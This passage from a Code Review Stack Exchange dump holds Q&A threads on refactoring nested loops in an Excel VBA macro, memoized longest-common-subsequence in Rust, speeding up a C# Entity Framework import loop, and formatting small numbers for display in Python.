'UpdateBOMTotalCount' has a single nested loop, otherwise nested loops have been refactored out.</p>\n<pre><code> 'Standard Module: GenerateBOMSupport \n Option Explicit\n \n Public Const BOMWorksheetName As String = "Bill of Materials"\n\n Public Function DetermineUsedWorksheets(ByVal theWorkbook As Workbook) As Collection\n Set DetermineUsedWorksheets = New Collection\n \n Dim ws As Worksheet\n For Each ws In theWorkbook.Worksheets\n If ws.Name <> "Cover" And ws.Name <> "Building List" And ws.Name <> "Data" And ws.Name <> "Building Template" And ws.Name <> "Parts" And ws.Name <> "Bill of Materials" Then\n DetermineUsedWorksheets.Add ws\n End If\n Next ws\n\n End Function\n\n Public Sub UpdateBOMTotalCount(ByVal bomWorksheet As Worksheet, ByVal usedWorksheets As Collection)\n\n Dim tblBOM As ListObject\n Set tblBOM = bomWorksheet.ListObjects("BOM")\n\n Dim BOMpartRow As Range\n For Each BOMpartRow In tblBOM.ListColumns("Part Number").DataBodyRange.Rows\n Dim rowCount As Long\n rowCount = BOMpartRow.Row - tblBOM.HeaderRowRange.Row 'getting index of the row being searched. Tried to use ListRow but couldn't figure it out with the overall search\n \n Dim totalCount As Long\n totalCount = 0\n \n Dim ws As Worksheet\n For Each ws In usedWorksheets 'Loop through all sheets in a workbook\n totalCount = UpdateTotalCountFromWorksheet(ws, BOMpartRow, totalCount)\n Next ws\n \n tblBOM.ListColumns("Project Totals").DataBodyRange.Cells(rowCount).Value = totalCount 'writing total to bill of materials sheet at index of searched part number\n Next BOMpartRow\n End Sub\n\n Private Function UpdateTotalCountFromWorksheet(ws As Worksheet, ByVal BOMpartRow As Range, ByVal totalCount As Long) As Long\n \n UpdateTotalCountFromWorksheet = totalCount\n Dim tbl As ListObject\n For Each tbl In ws.ListObjects\n UpdateTotalCountFromWorksheet = UpdateTotalCountFromListObject(tbl, BOMpartRow, UpdateTotalCountFromWorksheet)\n Next tbl\n End Function\n\n Private Function UpdateTotalCountFromListObject(tbl As ListObject, ByVal BOMpartRow As Range, ByVal totalCount As Long) As Long\n UpdateTotalCountFromListObject = totalCount\n \n Dim searchRow As Range\n For Each searchRow In tbl.ListColumns("Part Number").DataBodyRange.Rows 'Loop through all part number rows on table\n Dim partQty As Long\n partQty = tbl.ListColumns("Qty").DataBodyRange(searchRow.Row - tbl.HeaderRowRange.Row) 'getting index of the row being searched to find per sheet part qty\n \n Dim partCount As Long\n partCount = (Application.WorksheetFunction.CountIf(searchRow, BOMpartRow) * partQty)\n \n UpdateTotalCountFromListObject = UpdateTotalCountFromListObject + partCount\n Next searchRow\n \n End Function\n</code></pre>\n<p>Granted, moving a nested loop to a dedicated function will not improve speed or efficiency. However, multiple-nested loops are more difficult to mentally parse and understand when it comes time to modify the code. Further, reducing nesting levels using functions forces the analysis of the data/objects communicated from nesting level to nesting level often making it easier to spot inefficiencies and other opportunities for improving the code.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T21:03:13.247",
"Id": "263939",
"ParentId": "263908",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263925",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T16:20:51.107",
"Id": "263908",
"Score": "4",
"Tags": [
"vba",
"excel",
"nested"
],
"Title": "Excel VBA Nested Loop Alternative"
}
|
263908
|
<pre class="lang-rust prettyprint-override"><code>use std::{cmp::max_by_key, collections::HashMap};
fn longest_common_subsequence(s1: Vec<u8>, s2: Vec<u8>) -> Vec<u8> {
struct Helper {
s1: Vec<u8>,
s2: Vec<u8>,
cache: HashMap<(usize, usize), Vec<u8>>,
}
impl Helper {
fn helper(&mut self, i: usize, j: usize) -> Vec<u8> {
if self.cache.contains_key(&(i, j)) {
return self.cache[&(i, j)].clone();
}
let value = {
if i >= self.s1.len() || j >= self.s2.len() {
Vec::new()
} else if self.s1[i] == self.s2[j] {
let mut tmp = vec![self.s1[i]];
tmp.append(&mut self.helper(i + 1, j + 1));
tmp
} else {
max_by_key(self.helper(i + 1, j), self.helper(i, j + 1), |s| s.len())
}
};
self.cache.insert((i, j), value.clone());
return value;
}
}
return Helper {
s1,
s2,
cache: HashMap::new(),
}
.helper(0, 0);
}
fn main() {
println!(
"{}",
String::from_utf8(longest_common_subsequence(
String::from("abcd").into_bytes(),
String::from("adfsfsdfbcd").into_bytes()
))
.unwrap()
);
}
</code></pre>
<p>I'm playing around with Rust (only a few days into it) for a toy project in which I had to find the canonical representation for a given term -- I figured longest common subsequence of first few Google search results (titles) might do the trick, so I started implementing it and this is what I have (from a mental translation of how I'd do it in Python).</p>
<p>Among other things, it looks.. ugly to me. What can I do better (shorter / more readable e.t.c.)?</p>
|
[] |
[
{
"body": "<p>Your code <em>looks</em> dense because you've stuffed a lot of stuff into a single function, without any structuring whitespace. But that is merely cosmetic and can be fixed. For example, you might structure the code with some blank lines …</p>\n<pre class=\"lang-rust prettyprint-override\"><code>fn longest_common_subsequence(s1: Vec<u8>, s2: Vec<u8>) -> Vec<u8> {\n return Helper {\n s1,\n s2,\n cache: HashMap::new(),\n }\n .helper(0, 0);\n\n struct Helper { ... }\n\n impl Helper { ... }\n}\n</code></pre>\n<p>… or move the helper outside entirely:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>fn longest_common_subsequence(s1: Vec<u8>, s2: Vec<u8>) -> Vec<u8> {\n Helper {\n s1,\n s2,\n cache: HashMap::new(),\n }\n .helper(0, 0)\n}\n\nstruct Helper { ... }\n\nimpl Helper { ... }\n</code></pre>\n<p>I've thought about whether a separate <code>Helper</code> struct even makes sense. In principle, you could just pass the values like the cache as arguments to a helper function, but given the pair of vecs <code>s1, s2</code> that should be kept together a struct makes sense. Often, the alternative would be to simply use a closure, but we can't directly have recursive closures.</p>\n<p>A different debate can be had about whether the <code>helper()</code> function should be a <em>method</em>. I'd argue “no” – this is a purely syntactic choice here, and we could instead write the helper function to take a <code>&mut Helper</code> parameter. But that is primarily opinion-based.</p>\n<p>When I look into the helper() implementation, I note this pattern:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>if self.cache.contains_key(&(i, j)) {\n return self.cache[&(i, j)].clone();\n}\n</code></pre>\n<p>This unnecessarily makes two accesses to the cache. Instead, we can write:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>if let Some(value) = self.cache.get(&(i, j)) {\n return value.clone();\n}\n</code></pre>\n<p>The <code>get()</code> method returns an <code>Option<&_></code>, which we can pattern-match using <code>if let</code>.</p>\n<p>Next, we have the pattern</p>\n<pre class=\"lang-rust prettyprint-override\"><code>if let Some(value) = self.cache.get(&(i, j)) {\n return value.clone();\n}\nlet value = ...;\nself.cache.insert(&(i, j), value.clone());\nvalue\n</code></pre>\n<p>Again, the <code>get()</code> and <code>insert()</code> accesses do duplicate work. Typically, we can avoid this using the <a href=\"https://doc.rust-lang.org/std/collections/struct.HashMap.html#method.entry\" rel=\"nofollow noreferrer\">HashMap Entry API</a>. An entry gives access to a slot in the hash map which may be occupied or may be vacant, and we can efficiently insert a value. The inserting function will return a reference to the value in either case, which we can clone:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>self.cache.entry((i, j)).or_insert_with(|| ... ).clone()\n</code></pre>\n<p>which is very elegant <strong>except</strong> that this doesn't work here: the entry() keeps a <code>&mut</code> reference to the <code>self</code> Helper so that it can insert an item, but the closure also wants to borrow <code>self</code>. For that reason, it makes sense stick with your general design – but note that this could be avoided by using a different type for the cache, e.g. a Vec instead of a HashMap. A Vec or slice can be <code>split_at()</code> so that different sub-ranges can be borrowed separately. The problem as a whole is also amenable to using Dynamic Programming instead of memoization: without recursion, we wouldn't have to hold on to the cache for the duration of the recursive calls.</p>\n<p>This is a common theme with Rust: things seem like they should be easy, but they're not that easy when thinking about the actual ownership or safety issues.</p>\n<p>For example, I was thinking about returning a <code>&[u8]</code> from the helper() function to avoid unnecessary copies. This mostly works and saves a wasted allocation in the <code>tmp.append(...)</code> statement, but will ultimately have little effect since the <code>max_by_key(...)</code> statement has <em>two</em> calls into helper(). If their return value were to borrow the Helper struct, they would conflict with each other. In this particular case, it's also not possible to break the <code>&mut</code> requirement unless we put the cache into a <code>RefCell</code> and guarantee that the vec contents won't be moved, which we could do with a <code>Pin</code> and a bit of <code>unsafe</code> code.</p>\n<p>In order to avoid excessive Vec copies, an alternative to references would be to track indexes into an array. This is a common strategy in Rust to avoid lifetime issues. Instead of</p>\n<pre class=\"lang-rust prettyprint-override\"><code>struct Helper {\n ...\n cache: HashMap<(usize, usize), Vec<u8>>,\n}\n</code></pre>\n<p>we might use:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>struct Helper {\n ...\n cache: HashMap<(usize, usize), usize>,\n subseqs: Vec<Vec<u8>>,\n}\n</code></pre>\n<p>Then:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>fn longest_common_subsequence(s1: Vec<u8>, s2: Vec<u8>) -> Vec<u8> {\n let mut helper = Helper {\n s1,\n s2,\n cache: HashMap::new(),\n subseqs: vec![Vec::new()],\n };\n let result_index = helper.cached_value_for(0, 0);\n helper.subseqs[result_index].clone()\n}\n\nimpl Helper {\n fn cached_value_for(&mut self, i: usize, j: usize) -> usize {\n if let Some(&value) = self.cache.get(&(i, j)) {\n return value;\n }\n \n let value = self.computed_value_for(i, j);\n self.cache.insert((i, j), value);\n value\n }\n \n fn computed_value_for(&mut self, i: usize, j: usize) -> usize {\n if i >= self.s1.len() || j >= self.s2.len() {\n return 0;\n }\n \n if self.s1[i] == self.s2[j] {\n let next_index = self.cached_value_for(i + 1, j + 1);\n let mut tmp = vec![self.s1[i]];\n tmp.extend_from_slice(&self.subseqs[next_index]);\n self.subseqs.push(tmp);\n return self.subseqs.len() - 1;\n }\n \n max_by_key(\n self.cached_value_for(i + 1, j),\n self.cached_value_for(i, j + 1),\n |&s| self.subseqs[s].len(),\n )\n }\n}\n</code></pre>\n<p>The above code also separates the value construction from cache management. If desired, we could use this to eliminate the recursion by priming the cache in the correct pattern:</p>\n<pre class=\"lang-rust prettyprint-override\"><code>for i in (0..s1.len()).rev() {\n for j in (0..s2.len()).rev() {\n cache.insert((i, j), ...);\n }\n}\n</code></pre>\n<p>A disadvantage of using indices instead of references is that we lose type safety: all those <code>usize</code> values look the same. This can be often be adressed with crates like <a href=\"https://crates.io/crates/typed-arena\" rel=\"nofollow noreferrer\"><code>typed-arena</code></a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T03:31:26.673",
"Id": "521498",
"Score": "0",
"body": "Thanks for the detailed answer!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T19:26:04.923",
"Id": "264027",
"ParentId": "263911",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "264027",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T19:38:03.927",
"Id": "263911",
"Score": "2",
"Tags": [
"recursion",
"rust",
"memoization"
],
"Title": "Longest common subsequence — recursion and memoization"
}
|
263911
|
<p>I am looking for suggestion to make my for loop iterate faster. With about 2000 rows of data. Below code is taking lot of time to run. So far I have followed various Stack Overflow answers. For example reducing db queries and using Bulk insert to improve EF performance. It just improved marginally.</p>
<pre><code>List<VehicleApplication> vehicleApplicationList = new List<VehicleApplication>();
List<ProductVehicleApplication> productVehicleApplicationList = new List<ProductVehicleApplication>();
if (inventoryjson["InventoryItems"][0]["VehicleApplications"] != null)
{
for (int i = 0; i < inventoryjson["InventoryItems"][0]["VehicleApplications"].Count(); i++)
{
//database vehDb = new database();
VehicleApplication vehicleApplication = new VehicleApplication();
vehicleApplication.CategoryName = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["CategoryName"].ToString();
vehicleApplication.MakeName = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["MakeName"].ToString();
vehicleApplication.MfrLabel = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["MfrLabel"].ToString();
vehicleApplication.ModelName = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["ModelName"].ToString();
vehicleApplication.Note = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["Note"].ToString();
vehicleApplication.PartTypeName = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["PartTypeName"].ToString();
vehicleApplication.PositionName = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["PositionName"].ToString();
vehicleApplication.Qty = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["Qty"].ToString();
vehicleApplication.SubCategoryName = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["SubCategoryName"].ToString();
vehicleApplication.YearID = inventoryjson["InventoryItems"][0]["VehicleApplications"][i]["YearID"].ToString();
var existingVehicleApplication = dbVehiclesList.Where(x => x.MakeName == vehicleApplication.MakeName && x.ModelName == vehicleApplication.ModelName
&& x.CategoryName == vehicleApplication.CategoryName
&& x.MfrLabel == vehicleApplication.MfrLabel
&& x.PartTypeName == vehicleApplication.PartTypeName
&& x.PositionName == vehicleApplication.PositionName
&& x.Qty == vehicleApplication.Qty
&& x.YearID == vehicleApplication.YearID
&& x.SubCategoryName == vehicleApplication.SubCategoryName
).SingleOrDefault();
if (existingVehicleApplication == null && vehicleApplicationList.Any(x => x.MakeName == vehicleApplication.MakeName && x.ModelName == vehicleApplication.ModelName && x.CategoryName == vehicleApplication.CategoryName && x.MfrLabel == vehicleApplication.MfrLabel && x.PartTypeName == vehicleApplication.PartTypeName && x.PositionName == vehicleApplication.PositionName && x.Qty == vehicleApplication.Qty && x.YearID == vehicleApplication.YearID && x.SubCategoryName == vehicleApplication.SubCategoryName) == false)
{
vehicleApplicationList.Add(vehicleApplication);
}
else
{
vehicleApplication = dbObj.VehicleApplication.SingleOrDefault(
x => x.MakeName == vehicleApplication.MakeName
&& x.ModelName == vehicleApplication.ModelName
&& x.CategoryName == vehicleApplication.CategoryName
&& x.MfrLabel == vehicleApplication.MfrLabel
&& x.PartTypeName == vehicleApplication.PartTypeName
&& x.PositionName == vehicleApplication.PositionName
&& x.Qty == vehicleApplication.Qty
&& x.SubCategoryName == vehicleApplication.SubCategoryName
&& x.YearID == vehicleApplication.YearID);
}
ProductVehicleApplication productVehicleApplication = new ProductVehicleApplication();
productVehicleApplication.Product = dbObj.Product.Single(x => x.Id == product.Id);
productVehicleApplication.VehicleApplication = vehicleApplication;
productVehicleApplicationList.Add(productVehicleApplication);
}
}
dbObj.BulkInsert(productVehicleApplicationList);
dbObj.BulkInsert(vehicleApplicationList);
dbObj.SaveChanges();
</code></pre>
<p>UPDATE::1
From comments I have tried following. But it is still slow.</p>
<pre><code>HashSet<VehicleApplication> vehicleApplicationList = new HashSet<VehicleApplication>();
List<ProductVehicleApplication> productVehicleApplicationList = new List<ProductVehicleApplication>();
if (jsonProduct["VehicleApplications"] != null)
{
for (int i = 0; i < jsonProduct["VehicleApplications"].Count(); i++){
var vehicleApp = jsonProduct["VehicleApplications"][i];
VehicleApplication vehicleApplication = new VehicleApplication();
vehicleApplication.CategoryName = vehicleApp["CategoryName"].ToString();
vehicleApplication.MakeName = vehicleApp["MakeName"].ToString();
vehicleApplication.MfrLabel = vehicleApp["MfrLabel"].ToString();
vehicleApplication.ModelName = vehicleApp["ModelName"].ToString();
vehicleApplication.Note = vehicleApp["Note"].ToString();
vehicleApplication.PartTypeName = vehicleApp["PartTypeName"].ToString();
vehicleApplication.PositionName = vehicleApp["PositionName"].ToString();
vehicleApplication.Qty = vehicleApp["Qty"].ToString();
vehicleApplication.SubCategoryName = vehicleApp["SubCategoryName"].ToString();
vehicleApplication.YearID = vehicleApp["YearID"].ToString();
var existingVehicleApplication = dbVehiclesList.Where(x => x.MakeName == vehicleApplication.MakeName && x.ModelName == vehicleApplication.ModelName
&& x.CategoryName == vehicleApplication.CategoryName
&& x.MfrLabel == vehicleApplication.MfrLabel
&& x.PartTypeName == vehicleApplication.PartTypeName
&& x.PositionName == vehicleApplication.PositionName
&& x.Qty == vehicleApplication.Qty
&& x.YearID == vehicleApplication.YearID
&& x.SubCategoryName == vehicleApplication.SubCategoryName
).SingleOrDefault();
if (existingVehicleApplication == null && vehicleApplicationList.Any(x => x.MakeName == vehicleApplication.MakeName && x.ModelName == vehicleApplication.ModelName && x.CategoryName == vehicleApplication.CategoryName && x.MfrLabel == vehicleApplication.MfrLabel && x.PartTypeName == vehicleApplication.PartTypeName && x.PositionName == vehicleApplication.PositionName && x.Qty == vehicleApplication.Qty && x.YearID == vehicleApplication.YearID && x.SubCategoryName == vehicleApplication.SubCategoryName) == false)
{
vehicleApplicationList.Add(vehicleApplication);
}
else
{
vehicleApplication = existingVehicleApplication;
//vehicleApplication = dbVehiclesList.SingleOrDefault(
//x => x.MakeName == vehicleApplication.MakeName
//&& x.ModelName == vehicleApplication.ModelName
//&& x.CategoryName == vehicleApplication.CategoryName
//&& x.MfrLabel == vehicleApplication.MfrLabel
//&& x.PartTypeName == vehicleApplication.PartTypeName
//&& x.PositionName == vehicleApplication.PositionName
//&& x.Qty == vehicleApplication.Qty
//&& x.SubCategoryName == vehicleApplication.SubCategoryName
//&& x.YearID == vehicleApplication.YearID);
}
ProductVehicleApplication productVehicleApplication = new ProductVehicleApplication();
productVehicleApplication.Product = dbProductList.Single(x=>x.Id==product.Id);
productVehicleApplication.VehicleApplication = vehicleApplication;
productVehicleApplicationList.Add(productVehicleApplication);
}
}
dbObj.BulkInsert(productVehicleApplicationList);
dbObj.BulkInsert(vehicleApplicationList);
dbObj.SaveChanges();
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T08:57:41.450",
"Id": "521192",
"Score": "3",
"body": "I changed the title so that it describes what I think it does, per [site goals](/questions/how-to-ask): \"*State what your code does in your title, not your main concerns about it.*\". Please check that I haven't misrepresented your code, and correct it if I have. The question is still lacking a lot of context needed for a decent review: the database schema and sample inputs, for starters. Please [edit] to add the necessary information. (Sorry I'm no expert in this language, so I'll still be unable to answer)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T09:00:38.890",
"Id": "521193",
"Score": "0",
"body": "Wow title make lot of sense now. My poor english :("
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T13:00:32.220",
"Id": "521202",
"Score": "0",
"body": "Welcome to the Code Review Community. We are different than Stack Overflow, we need to see more of the code because we are trying to help you improve the code rather than debug whatever problem you are having. We need to see whole functions, and it would be better to see complete classes. Optimization is a case of finding bottlenecks in some cases."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T23:17:02.267",
"Id": "521236",
"Score": "1",
"body": "Everything that could be done in the DB should be. Dump the \"raw\" objects to the DB and then do all the iteration and transformation. Probably require temp tables with pseudo-keys? In our case it went from 3+ hours of C#-cum-database to 15 seconds of a modestly complex stored procedure. Don't be afraid to create as many keys, compound-keys, unique columns as needed. All that up-front set up is nothing; any decent relational DB engine is light-speed faster than C#. Make them permanent tables if this process is done regularly."
}
] |
[
{
"body": "<p><code>jsonProduct["VehicleApplications"].Count()</code> should be outside the iteration, otherwise it will be executed on each iteration which impact the performance. So, you should do :</p>\n<pre><code>var count = jsonProduct["VehicleApplications"].Count();\n\nfor (int i = 0; i < count; i++)\n{\n var vehicleApp = jsonProduct["VehicleApplications"][i];\n ///...... etc.\n}\n</code></pre>\n<p>using <code>SingleOrDefault</code> is slower than <code>FirstOrDefault</code> and that's because of their behavior. <code>SingleOrDefault</code> will recheck the enumerable against the founded item, to see if there is any duplicates, while <code>FirstOrDefault</code> doesn't do this check. In your case, you don't need to check the enumerable, you need to get the first item that matches the condition. So, using <code>FirstOrDefault</code> would be better choice.</p>\n<p>also, when you use <code>HashSet</code> you don't really need to recheck the set for duplicates when adding items, as the <code>HashSet</code> will take care of that, and will always store unique items. So, if you try to add an item that is already exists in the <code>HashSet</code>, it won't be added nor change the existing one.</p>\n<p>try this version and see how it perform :</p>\n<pre><code>var vehicleApplications = jsonProduct["VehicleApplications"]; \n\nif(vehicleApplications != null)\n{\n HashSet<VehicleApplication> vehicleApplicationHashSet = new HashSet<VehicleApplication>();\n \n List<ProductVehicleApplication> productVehicleApplicationList = new List<ProductVehicleApplication>();\n\n var count = vehicleApplications.Count();\n\n for (int i = 0; i < count; i++)\n {\n var vehicleApp = jsonProduct["VehicleApplications"][i];\n\n VehicleApplication vehicleApplication = new VehicleApplication\n {\n CategoryName = vehicleApp["CategoryName"].ToString(),\n MakeName = vehicleApp["MakeName"].ToString(),\n MfrLabel = vehicleApp["MfrLabel"].ToString(),\n ModelName = vehicleApp["ModelName"].ToString(),\n Note = vehicleApp["Note"].ToString(),\n PartTypeName = vehicleApp["PartTypeName"].ToString(),\n PositionName = vehicleApp["PositionName"].ToString(),\n Qty = vehicleApp["Qty"].ToString(),\n SubCategoryName = vehicleApp["SubCategoryName"].ToString(),\n YearID = vehicleApp["YearID"].ToString()\n };\n \n var existingVehicleApplication = dbVehiclesList.FirstOrDefault(x =>\n x.MakeName == vehicleApplication.MakeName \n && x.ModelName == vehicleApplication.ModelName \n && x.CategoryName == vehicleApplication.CategoryName\n && x.MfrLabel == vehicleApplication.MfrLabel\n && x.PartTypeName == vehicleApplication.PartTypeName\n && x.PositionName == vehicleApplication.PositionName\n && x.Qty == vehicleApplication.Qty\n && x.YearID == vehicleApplication.YearID\n && x.SubCategoryName == vehicleApplication.SubCategoryName); \n \n if(existingVehicleApplication != null)\n {\n vehicleApplication = existingVehicleApplication;\n }\n else\n {\n // if the vehicleApp is already in the hashset, then it'll not be added.\n vehicleApplicationHashSet.Add(vehicleApplication);\n }\n \n ProductVehicleApplication productVehicleApplication = new ProductVehicleApplication\n {\n Product = dbProductList.FirstOrDefault(x=>x.Id==product.Id),\n VehicleApplication = vehicleApplication\n };\n \n productVehicleApplicationList.Add(productVehicleApplication);\n }\n\n dbObj.BulkInsert(productVehicleApplicationList);\n dbObj.BulkInsert(vehicleApplicationList);\n dbObj.SaveChanges();\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T08:10:49.803",
"Id": "521189",
"Score": "0",
"body": "It does help me a little improvement but \nvar existingVehicleApplication = dbVehiclesList.FirstOrDefault Querying against database \nas dbVehiclesList is AsEnumerable \n\ndbProductList.FirstOrDefault same case here. \n\nIs that possible that I get data from these tables into a very fast variable so I dont have to db query?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T12:09:47.363",
"Id": "521199",
"Score": "2",
"body": "@JaskaranSingh what ORM are you using? because entity framework does not need t o cast as AsEnumerable .."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T00:37:49.427",
"Id": "263920",
"ParentId": "263914",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T21:41:51.947",
"Id": "263914",
"Score": "1",
"Tags": [
"c#",
"json",
"entity-framework"
],
"Title": "Copy vehicle information from JSON list to relational database"
}
|
263914
|
<p>I have the following code to round a number down to the nearest non zero digit in a string, or if the digit is larger than 1 it would round to the second decimal place.
I have yet to find a way to do this without converting the number to a string and then using regex.</p>
<p>The end result of the number can be either a string or a digit, I kept it a string because i already converted it to one earlier in the method.</p>
<p>I am curious to know what <strong>you</strong> guys would do in this situation.
I am working with all kinds of numbers (1 -> 50,000+ (generally)), however I am also working with VERY small numbers (4.42223e-9)</p>
<p>As always,</p>
<p>Thank you for taking the time to reading and answering this. I look forward to everyone's responses and criticism</p>
<pre><code>import re
def roundToNearestZero(number):
number = abs(number)
if number < 1:
#number = re.match("^0\\.0*[1-9][0-9]", f"{abs(number):.99f}").group()
str_number = f"{number:.99f}"
index = re.search('[1-9]', str_number).start()
number = f"{str_number[:index + 3]}"
else:
number = f"{number:,.2f}"
return number
print( roundToNearestZero(0.0000001232342) )# 0.000000123
print( roundToNearestZero(1.9333) ) # 1.93
print( roundToNearestZero(-0.00333) ) # 0.00333
print( roundToNearestZero(-123.3333) ) # 123.33
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T22:52:23.153",
"Id": "521173",
"Score": "2",
"body": "Why would you do this in the first place? This is _not_ only a rounding function, since there is an `abs` in the mix."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T23:10:05.083",
"Id": "521174",
"Score": "0",
"body": "@Reinderien Hi, thank you for the question. I am creating a price checker and some of the coins/tokens are fractions of pennies. Some could be: 0.000000000012313149 and i am only interested in rounding to the nearest non zero digit: 0.00000000001. the reason i have abs() is because some i am also checking the price change within the last 24 hours and the API I use sends back scientific notation (which is why i have {number.99f}and negative numbers (-0.00000000123 for example) abs(). The abs() is not required in this method. I hope this helps and explains things a little bit more"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T03:28:18.377",
"Id": "521179",
"Score": "0",
"body": "I'm afraid that this entire procedure has a bad-idea fragrance. If you're formatting these values for display only, there are better formats. If this is part of an analysis routine you probably shouldn't be rounding at all."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T07:27:06.227",
"Id": "521185",
"Score": "0",
"body": "@Reinderien Yes its for display, could you tell me the better formats you're talking about? Thanks again"
}
] |
[
{
"body": "<p><strong>A few stylistic edits to consider</strong>. Your code is generally fine. In the example below, I made some minor stylistic\nedits: shorter variable names (because they are just as clear in context as the\nvisually-heavier longer names); direct returns rather than setting <code>number</code>;\nand taking advantage of the built-in <code>round()</code> function where it applies. I\nwould also add some explanatory comments to the code, as illustrated below.\nIt needs some explanation, for reasons discussed below.</p>\n<pre><code>def roundToNearestZero(number):\n n = abs(number)\n if n < 1:\n # Find the first non-zero digit.\n # We want 3 digits, starting at that location.\n s = f'{n:.99f}'\n index = re.search('[1-9]', s).start()\n return s[:index + 3]\n else:\n # We want 2 digits after decimal point.\n return str(round(n, 2))\n</code></pre>\n<p><strong>The function is unusual</strong>. Less convincing is the function itself. First, it's not a rounding operation:\nit takes the absolute value, converts to string, and then it does some\nrounding-adjacent things. If <code>number</code> is 1 or larger, the function actually\nrounds (to 2 digits past the decimal). Otherwise, the function imposes a floor\noperation (to 3 digits, starting at the first non-zero). The whole thing seems\nlike a conceptual mess, but I understand that you might be operating under some\nodd constraints from your project that you cannot easily change.</p>\n<p><strong>Choose a better function name</strong>. At a minimum you should rename the function. Naming it according to\nmathematical operations makes little sense due to its inconsistent and unusual\nbehavior. Instead you might consider a name oriented toward its purpose: for\nexample, <code>display_price()</code> or whatever makes more sense based on its role in\nthe project.</p>\n<p><strong>Data-centric orchestration</strong>. Finally, I would encourage you to adopt a more data-centric approach to working\non algorithmic code – while writing code, debugging it, and when asking people\nfor help. Here I'm talking about the orchestration code rather than the\nfunction itself. The first thing I did when experimenting with your code its to\nset up better orchestration:</p>\n<pre><code># This is print-centric. As such, it's not very useful.\n\nprint( roundToNearestZero(0.0000001232342) )# 0.000000123\nprint( roundToNearestZero(1.9333) ) # 1.93\nprint( roundToNearestZero(-0.00333) ) # 0.00333\nprint( roundToNearestZero(-123.3333) ) # 123.33\n\n# This is data-centric and thus amenable to efficient testing.\n# Any bad edit I made to the code was quickly revealed, and I\n# could easily add more test cases as I explored.\n\ndef main():\n TESTS = (\n (0.0000001232342, '0.000000123'),\n (1.9333, '1.93'),\n (-0.00333, '0.00333'),\n (-123.3333, '123.33'),\n (0.00000012032342, '0.000000120'),\n (-0.00000012032342, '0.000000120'),\n (-0.000000120999, '0.000000120'),\n (204.947, '204.95'),\n )\n for inp, exp in TESTS:\n got = roundToNearestZero(inp)\n if got == exp:\n print('ok')\n else:\n print('FAIL', (inp, got, exp))\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T00:07:05.513",
"Id": "263918",
"ParentId": "263916",
"Score": "4"
}
},
{
"body": "<p>First recognize that this is not strictly a rounding problem, but a <em>formatting</em> problem. You're doing this strictly for the purposes of display, and so your method should be named as such.</p>\n<p>Have a careful read through <a href=\"https://docs.python.org/3/library/string.html#format-specification-mini-language\" rel=\"nofollow noreferrer\">https://docs.python.org/3/library/string.html#format-specification-mini-language</a> . I think the <code>g</code> specifier would suit this application fine. I see no universe in which it's a good idea to hide the sign from the user, so don't apply <code>abs</code>.</p>\n<pre><code>for x in (\n 4.42223e-9,\n 0.0000001232342,\n 1.9333,\n -0.00333,\n -123.3333,\n 50_000,\n):\n print(f'{x:+.3g}')\n</code></pre>\n<pre><code>+4.42e-09\n+1.23e-07\n+1.93\n-0.00333\n-123\n+5e+04\n</code></pre>\n<p>If you want slightly more nuanced formatting behaviour than what <code>g</code> can get you - if, for example, you want all quantities at 0.01 or above to be printed in fixed notation and all others in scientific - then you can have an <code>if</code> statement that selects between two different format specifiers, each with their own precision field; in any case you won't need to call <code>round</code> yourself because that's done by the formatting.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T14:48:04.640",
"Id": "263933",
"ParentId": "263916",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T22:14:30.450",
"Id": "263916",
"Score": "3",
"Tags": [
"python",
"python-3.x"
],
"Title": "Round number to nearest non zero digit"
}
|
263916
|
